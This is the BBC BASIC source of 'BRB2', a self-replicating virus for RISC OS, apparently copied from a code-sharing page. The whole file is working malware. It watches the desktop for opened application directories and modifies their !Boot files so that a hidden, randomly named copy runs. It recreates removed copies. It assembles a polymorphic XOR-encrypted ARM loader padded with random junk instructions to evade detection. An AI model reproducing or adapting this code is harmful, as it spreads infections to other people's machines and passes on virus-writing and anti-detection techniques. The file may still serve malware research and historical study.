📄 brb2.txt
字号:
BRB2
30 : REM BRB?virus by ExStres
40 : REM Source code
50 : REM DO NOT DISTRIBUTE....(or run :-)
60 : ON ERROR report$=REPORT$ + " at line " + STR$ERL:ERROR0,report$
70 : c%=PAGE
80 : r%=LOMEM-PAGE
90 : :
100 : DIM code r%+4096
110 : DIM inf$(100,2)
120 : DIM inf%(100)
130 : infcnt%=-1
140 : infects%=-1
150 : DIM code% 2048
160 : PROCassemble
170 : :
180 : REMOSCLI "Save moo &"+STR$~code+"+&"+STR$~(p%-code)
190 : REMOSCLI "Save moo &"+STR$~codebase+"+&"+STR$~(r%-1)
200 : :
210 : DIM b% 16384
220 : q%=FALSE
230 : SYS "Wimp_Initialise",200,&4B534154,FNgetname TO ,t%
240 : :
250 : polls%=0
260 : ON ERROR :
270 : countit%=0
280 : WHILE NOT q%
290 : IF countit%=4 THEN countit%=0:PROCcheckinfects
300 : countit%+=1
310 : SYS "Wimp_Poll",,b% TO reason%,info%
320 : IF reason%=17 OR reason%=18 THEN IF b%!16=5 THEN f$=FNgetstring(b%+44):unk%=TRUE:y%=b%!40:PROCinfect
330 : ENDWHILE
340 : SYS "Wimp_CloseDown",t%,&4B534154
350 : :
360 : END
370 : :
380 : DEFPROCcheckinfects
390 : IF infects%>-1 THEN
410 : FOR iij=0 TO infects%
420 : file$=inf$(iij,0)+"."+inf$(iij,1)
430 : leng%=inf%(iij)
440 : SYS "XOS_File",5,file$ TO type%
450 : REMPRINT file$+" : "+STR$type%
470 : IF type%=0 THEN
480 : REM OH FLIBBLE ONE OF OUR VIRUSES HAS BEEN REMOVED!
490 : REM we better rebuilt it hadn't we :))
500 : f$=inf$(iij,0)
510 : nmy$=inf$(iij,1)
520 : unk%=FALSE
521 : y%=&2000
530 : PROCinfect
540 : ENDIF
550 : NEXT
560 : ENDIF
570 : ENDPROC
580 : :
590 : DEFFNgetstring(a%):s$="":WHILE (?a%<>13)AND(?a%<>0)
600 : s$+=CHR$(?a%):a%+=1:ENDWHILE:=s$
610 : :
620 : DEFFNremdots(nm$)
630 : WHILE INSTR(nm$,".")>0
640 : nm$=MID$(nm$,INSTR(nm$,".")+1)
650 : ENDWHILE
660 : =nm$
670 : :
680 : DEFPROCinfect
700 : IF y%=&2000 AND LEFT$(FNremdots(f$),1)="!" THEN
710 : SYS "XOS_File",5,f$+".!Boot" TO y%
720 : IF y%=1 THEN
730 : f%=OPENUP(f$+".!Boot")
740 : WHILE NOT EOF#f%
750 : t$=GET$#f%
760 : REMIF t$="|hacked" THEN CLOSE#f%:ENDPROC
770 : ENDWHILE
780 : ELSE
790 : IF y%=0 THEN f%=OPENOUT(f$+".!Boot")
800 : ENDIF
810 : IF y%=0 OR y%=1 THEN
820 : IF unk%=TRUE THEN
830 : nmy$=STR$RND(100)+STR$RND(100)+STR$RND(100)
840 : REPEAT
850 : nmy$=FNgetname
860 : SYS "XOS_File",5,f$+"."+nmy$ TO yv%
870 : UNTIL yv%=0
880 : ENDIF
890 : BPUT#f%,""
900 : REMBPUT#f%,"|hacked"
910 : slot%=64+RND(36)
920 : slot$=STR$(slot%+(slot% AND 3))
930 : BPUT#f%,"WimpSlot -min "+slot$+"k -max "+slot$+"k"
940 : BPUT#f%,"Filer_Run ."+nmy$
950 : CLOSE#f%
960 : OSCLI "Settype "+f$+".!Boot Obey"
970 : OSCLI "Save "+f$+"."+nmy$+" &"+STR$~code+"+&"+STR$~(p%-code)
980 : IF unk%=TRUE THEN
990 : SYS "OS_File",5,f$+"."+nmy$ TO type%
1000 : IF type%=1 THEN
1010 : IF infects%<99 THEN infects%+=1
1020 : infcnt%+=1
1030 : IF infcnt%=100 THEN infcnt%=0
1040 : inf$(infcnt%,0)=f$
1050 : inf$(infcnt%,1)=nmy$
1060 : ENDIF
1070 : ENDIF
1080 : REMSYS "XOS_File",10,f$+"."+nmy$,&FFB,,c%,c%+r%
1090 : PROCassemble
1100 : ENDIF
1110 : ENDIF
1120 : ENDPROC
1130 : :
1140 : DEFFNnoop
1150 : nn=RND(10)
1160 : IF nn<4 THEN =0
1170 : FOR i=3 TO nn
1180 : reg%=RND(10)
1190 : CASE RND(18) OF
1200 : WHEN 2 : [opt pass
1210 : moveq reg%,reg%
1220 : ]
1230 : WHEN 3 : [opt pass
1240 : andeq reg%,reg%,reg%
1250 : ]
1260 : WHEN 4 : [opt pass
1270 : andne reg%,reg%,reg%
1280 : ]
1290 : WHEN 5 : [opt pass
1300 : andgt reg%,reg%,reg%
1310 : ]
1320 : WHEN 6 : [opt pass
1330 : andlt reg%,reg%,reg%
1340 : ]
1350 : WHEN 7 : [opt pass
1360 : andal reg%,reg%,reg%
1370 : ]
1380 : WHEN 8 : [opt pass
1390 : and reg%,reg%,reg%
1400 : ]
1410 : WHEN 9 : [opt pass
1420 : movne reg%,reg%
1430 : ]
1440 : WHEN 10 : [opt pass
1450 : movgt reg%,reg%
1460 : ]
1470 : WHEN 11 : [opt pass
1480 : movlt reg%,reg%
1490 : ]
1500 : WHEN 12 : [opt pass
1510 : mov reg%,reg%
1520 : ]
1530 : WHEN 13 : [opt pass
1540 : movne reg%,reg%
1550 : ]
1560 : WHEN 14 : [opt pass
1570 : movcc reg%,reg%
1580 : ]
1590 : WHEN 15 : [opt pass
1600 : movcs reg%,reg%
1610 : ]
1620 : WHEN 16 : [opt pass
1630 : movnv reg%,reg%
1640 : ]
1650 : ENDCASE
1660 : NEXT
1670 : =0
1680 : :
1690 : DEFFNgetname
1700 : LOCAL z$:z$=""
1710 : FOR i=0 TO RND(5)+5
1720 : num%=RND(50)+64
1730 : IF num%>90 THEN num%+=7
1740 : z$+=CHR$(num%)
1750 : NEXT
1760 : =LEFT$(z$,10)
1770 : :
1780 : DEFPROCassemble
1790 : enc%=RND(255)
1800 : aa=TIME
1810 : FOR pass=0 TO 2 STEP 2
1820 : P%=code
1830 : REMPROCnoop
1840 : bb=RND(-aa)
1850 : select%=(RND(255) AND 3)
1860 : CASE select% OF
1870 : REM First unecryption algorithm
1880 : WHEN 0 : [opt pass
1890 : FNnoop
1900 : adr r0,codebase
1910 : FNnoop
1920 : mov r1,#0
1930 : FNnoop
1940 : ldr r4,mooit
1950 : FNnoop
1960 : mov r5,#enc%
1970 : FNnoop
1980 : .go ldrb r3,[r0,r1]
1990 : FNnoop
2000 : eor r3,r3,r5
2010 : FNnoop
2020 : strb r3,[r0,r1]
2030 : FNnoop
2040 : add r1,r1,#1
2050 : FNnoop
2060 : cmp r1,r4
2070 : FNnoop
2080 : blt go
2090 : .start adr r0,str
2100 : FNnoop
2110 : swi "OS_CLI"
2120 : FNnoop
2130 : swi "OS_Exit"
2140 : ]:FOR i=0 TO RND(6):[opt pass:equd RND(255):]:NEXT:[opt pass
2150 : .str equd RND(255) ;0
2160 : equd RND(255) ;4
2170 : equd RND(255) ;8
2180 : equd RND(255) ;16
2190 : equd RND(255) ;20
2200 : equd RND(255) ;24
2210 : equd RND(255) ;28
2220 : equd RND(255) ;32
2230 : equd RND(255) ;36
2240 : equd RND(255) ;48
2250 : equd RND(255) ;52
2260 : ]:FOR i=0 TO RND(6):[opt pass
2270 : equd RND(255)
2280 : ]:NEXT:[opt pass
2290 : .mooit equd 0
2300 : ]:FOR i=0 TO RND(6):[opt pass
2310 : equd RND(255)
2320 : ]:NEXT:[opt pass
2330 : ]
2340 : WHEN 1 : [opt pass
2350 : FNnoop
2360 : b encryp
2370 : ]:FOR i=0 TO RND(6):[opt pass:equd RND(255):]:NEXT:[opt pass
2380 : .str equd RND(255) ;0
2390 : equd RND(255) ;4
2400 : equd RND(255) ;8
2410 : equd RND(255) ;16
2420 : equd RND(255) ;20
2430 : equd RND(255) ;24
2440 : equd RND(255) ;28
2450 : equd RND(255) ;32
2460 : equd RND(255) ;36
2470 : equd RND(255) ;48
2480 : equd RND(255) ;52
2490 : ]:FOR i=0 TO RND(6):[opt pass:equd RND(255):]:NEXT:[opt pass
2500 : .encryp
2510 : FNnoop
2520 : adr r0,codebase
2530 : FNnoop
2540 : mov r1,#0
2550 : FNnoop
2560 : adr r12,str
2570 : FNnoop
2580 : ldr r4,mooit
2590 : FNnoop
2600 : mov r5,#enc%
2610 : FNnoop
2620 : b go
2630 : FNnoop
2640 : ]:FOR i=0 TO RND(6):[opt pass:equd RND(255):]:NEXT:[opt pass
2650 : .mooit equd 0
2660 : ]:FOR i=0 TO RND(6):[opt pass:equd RND(255):]:NEXT:[opt pass
2670 : FNnoop
2680 : ]:FOR i=0 TO RND(6):[opt pass:equd RND(255):]:NEXT:[opt pass
2690 : .go ldrb r3,[r0,r1]
2700 : FNnoop
2710 : eor r3,r3,r5
2720 : FNnoop
2730 : strb r3,[r0,r1]
2740 : FNnoop
2750 : add r1,r1,#1
2760 : FNnoop
2770 : cmp r1,r4
2780 : FNnoop
2790 : blt go
2800 : FNnoop
2810 : .start mov r0,r12
2820 : FNnoop
2830 : swi "OS_CLI"
2840 : FNnoop
2850 : swi "OS_Exit"
2860 : ]:FOR i=0 TO RND(6):[opt pass:equd RND(255):]:NEXT:[opt pass
2870 : ]
2880 : WHEN 2: [opt pass
2890 : FNnoop
2900 : b encryp
2910 : FNnoop
2920 : ]:FOR i=0 TO RND(6):[opt pass:equd RND(255):]:NEXT:[opt pass
2930 : .encryp
2940 : adr r0,codebase
2950 : FNnoop
2960 : mov r1,#0
2970 : FNnoop
2980 : b codeit
2990 : ]:FOR i=0 TO RND(6):[opt pass:equd RND(255):]:NEXT:[opt pass
3000 : FNnoop
3010 : .str equd RND(255) ;0
3020 : equd RND(255) ;4
3030 : equd RND(255) ;8
3040 : equd RND(255) ;16
3050 : equd RND(255) ;20
3060 : equd RND(255) ;24
3070 : equd RND(255) ;28
3080 : equd RND(255) ;32
3090 : equd RND(255) ;36
3100 : equd RND(255) ;48
3110 : equd RND(255) ;52
3120 : FNnoop
3130 : ]:FOR i=0 TO RND(6):[opt pass:equd RND(255):]:NEXT:[opt pass
3140 : FNnoop
3150 : .mooit equd 0
3160 : FNnoop
3170 : ]:FOR i=0 TO RND(6):[opt pass:equd RND(255):]:NEXT:[opt pass
3180 : FNnoop
3190 : .ency strb r3,[r0,r1]
3200 : FNnoop
3210 : add r1,r1,#1
3220 : FNnoop
3230 : cmp r1,r4
3240 : FNnoop
3250 : blt go
3260 : FNnoop
3270 : b start
3280 : FNnoop
3290 : ]:FOR i=0 TO RND(6):[opt pass:equd RND(255):]:NEXT:[opt pass
3300 : FNnoop
3310 : .codeit adr r12,str
3320 : FNnoop
3330 : ldr r4,mooit
3340 : FNnoop
3350 : mov r5,#enc%
3360 : FNnoop
3370 : b go
3380 : FNnoop
3390 : ]:FOR i=0 TO RND(6):[opt pass:equd RND(255):]:NEXT:[opt pass
3400 : FNnoop
3410 : .go ldrb r3,[r0,r1]
3420 : FNnoop
3430 : eor r3,r3,r5
3440 : FNnoop
3450 : b ency
3460 : FNnoop
3470 : ]:FOR i=0 TO RND(6):[opt pass:equd RND(255):]:NEXT:[opt pass
3480 : FNnoop
3490 : .start mov r0,r12
3500 : FNnoop
3510 : swi "OS_CLI"
3520 : FNnoop
3530 : swi "OS_Exit"
3540 : FNnoop
3550 : ]:FOR i=0 TO RND(6):[opt pass:equd RND(255):]:NEXT:[opt pass
3560 : FNnoop
3570 : ]
3580 : WHEN 3: [opt pass
3590 : FNnoop
3600 : b encryp
3610 : FNnoop
3620 : ]:FOR i=0 TO RND(6):[opt pass:equd RND(255):]:NEXT:[opt pass
3630 : FNnoop
3640 : .encryp
3650 : FNnoop
3660 : adr r0,codebase
3670 : FNnoop
3680 : mov r1,#0
3690 : FNnoop
3700 : b codeit
3710 : FNnoop
3720 : ]:FOR i=0 TO RND(6):[opt pass:equd RND(255):]:NEXT:[opt pass
3730 : FNnoop
3740 : .goto add r1,r1,#1
3750 : FNnoop
3760 : cmp r1,r4
3770 : FNnoop
3780 : b ret
3790 : FNnoop
3800 : ]:FOR i=0 TO RND(6):[opt pass:equd RND(255):]:NEXT:[opt pass
3810 : FNnoop
3820 : .str equd RND(255) ;0
3830 : equd RND(255) ;4
3840 : equd RND(255) ;8
3850 : equd RND(255) ;16
3860 : equd RND(255) ;20
3870 : equd RND(255) ;24
3880 : equd RND(255) ;28
3890 : equd RND(255) ;32
3900 : equd RND(255) ;36
3910 : equd RND(255) ;48
3920 : equd RND(255) ;52
3930 : FNnoop
3940 : ]:FOR i=0 TO RND(6):[opt pass:equd RND(255):]:NEXT:[opt pass
3950 : FNnoop
3960 : .mooit equd 0
3970 : FNnoop
3980 : ]:FOR i=0 TO RND(6):[opt pass:equd RND(255):]:NEXT:[opt pass
3990 : FNnoop
4000 : .ency strb r3,[r0,r1]
4010 : FNnoop
4020 : b goto
4030 : FNnoop
4040 : .ret blt go
4050 : FNnoop
4060 : b start
4070 : FNnoop
4080 : ]:FOR i=0 TO RND(6):[opt pass:equd RND(255):]:NEXT:[opt pass
4090 : FNnoop
4100 : .codeit adr r12,str
4110 : FNnoop
4120 : ldr r4,mooit
4130 : FNnoop
4140 : mov r5,#enc%
4150 : FNnoop
4160 : b go
4170 : FNnoop
4180 : ]:FOR i=0 TO RND(6):[opt pass:equd RND(255):]:NEXT:[opt pass
4190 : FNnoop
4200 : .go ldrb r3,[r0,r1]
4210 : FNnoop
4220 : eor r3,r3,r5
4230 : FNnoop
4240 : b ency
4250 : FNnoop
4260 : ]:FOR i=0 TO RND(6):[opt pass:equd RND(255):]:NEXT:[opt pass
4270 : FNnoop
4280 : .start mov r0,r12
4290 : FNnoop
4300 : swi "OS_CLI"
4310 : FNnoop
4320 : swi "OS_Exit"
4330 : FNnoop
4340 : ]:FOR i=0 TO RND(6):[opt pass:equd RND(255):]:NEXT:[opt pass
4350 : FNnoop
4360 : ]
4370 : ENDCASE
4380 : [opt pass
4390 : .codebase
4400 : ]
4410 : P%+=r%
4420 : FORi=0 TO RND(100)
4430 : [opt pass
4440 : equb RND(255)
4450 : ]
4460 : NEXT
4470 : NEXT
4480 : !mooit=r%
4490 : p%=P%
4500 : REMPRINT r%+1024
4510 : REMPRINT P%-code
4520 : :
4530 : FOR pass=0 TO 2 STEP 2
4540 : P%=code%
4550 : [opt pass
4560 : ; r0 = base
4570 : ; r1 = size
4580 : ; r2 = target
4590 : ; r4 = 0
4600 : ; r5 = enccode
4610 : .go ldrb r3,[r0,r4]
4620 : eor r3,r3,r5
4630 : strb r3,[r2,r4]
4640 : add r4,r4,#1
4650 : cmp r4,r1
4660 : blt go
4670 : mov pc,r14
4680 : ]
4690 : NEXT
4700 : A%=c%:B%=r%:C%=codebase:E%=0:F%=enc%:CALL go
4710 : cb%=codebase
4720 : ct%=codebase+r%
4730 : cb$=STR$~cb%:WHILE LEN(cb$)<8:cb$="0"+cb$:ENDWHILE
4740 : ct$=STR$~ct%:WHILE LEN(ct$)<8:ct$="0"+ct$:ENDWHILE
4750 : $str="BASIC -quit @"+cb$+","+ct$
4760 : ENDPROC
4770 : :
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -